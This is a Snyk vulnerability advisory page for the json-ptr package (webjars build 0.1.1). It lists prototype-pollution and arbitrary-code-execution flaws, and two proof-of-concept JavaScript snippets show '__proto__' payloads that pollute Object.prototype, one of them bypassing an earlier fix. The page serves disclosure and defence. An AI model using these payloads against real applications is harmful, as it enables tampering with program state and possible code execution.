org.webjars.npm:json-ptr@0.1.1 vulnerabilities

  • latest version

    0.1.1

  • first published

    6 years ago

  • latest version published

    6 years ago

  • licenses detected

  • package manager

Direct Vulnerabilities

Known vulnerabilities in the org.webjars.npm:json-ptr package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

org.webjars.npm:json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7766 when the user-provided keys used in the pointer parameter are arrays.

PoC

const { JsonPointer } = require("json-ptr");

// JsonPointer.set({}, ['__proto__', 'polluted'], 'yes', true); 
// console.log(polluted); // Error: Attempted prototype pollution disallowed.

JsonPointer.set({}, [['__proto__'], 'polluted'], 'yes', true); 
console.log(polluted); // yes

How to fix Prototype Pollution?

A fix was pushed into the master branch but not yet published.

[0,)
  • H
Arbitrary Code Execution

org.webjars.npm:json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the .get() method.

How to fix Arbitrary Code Execution?

There is no fixed version for org.webjars.npm:json-ptr.

[0,)
  • H
Prototype Pollution

org.webjars.npm:json-ptr is a complete implementation of JSON Pointer (RFC 6901) for nodejs and modern browsers.

Affected versions of this package are vulnerable to Prototype Pollution. The issue occurs in the set operation (https://flitbit.github.io/json-ptr/classes/_src_pointer_.jsonpointer.html#set) when the force flag is set to true.

The function recursively set the property in the target object, however it does not properly check the key being set, leading to a prototype pollution.

PoC

  • install json-ptr module:

  • npm i json-ptr

  • run the following poc.js:

const { JsonPointer } = require("json-ptr");

let obj = {};
console.log("Before : " + obj.polluted);
// JsonPointer.set({}, '/constructor/prototype/polluted', "yes", true);
JsonPointer.set({}, '/__proto__/polluted', "yes", true);
console.log("After : " + obj.polluted);

Observed output:

Before : undefined
After : yes

How to fix Prototype Pollution?

There is no fixed version for org.webjars.npm:json-ptr.

[0,)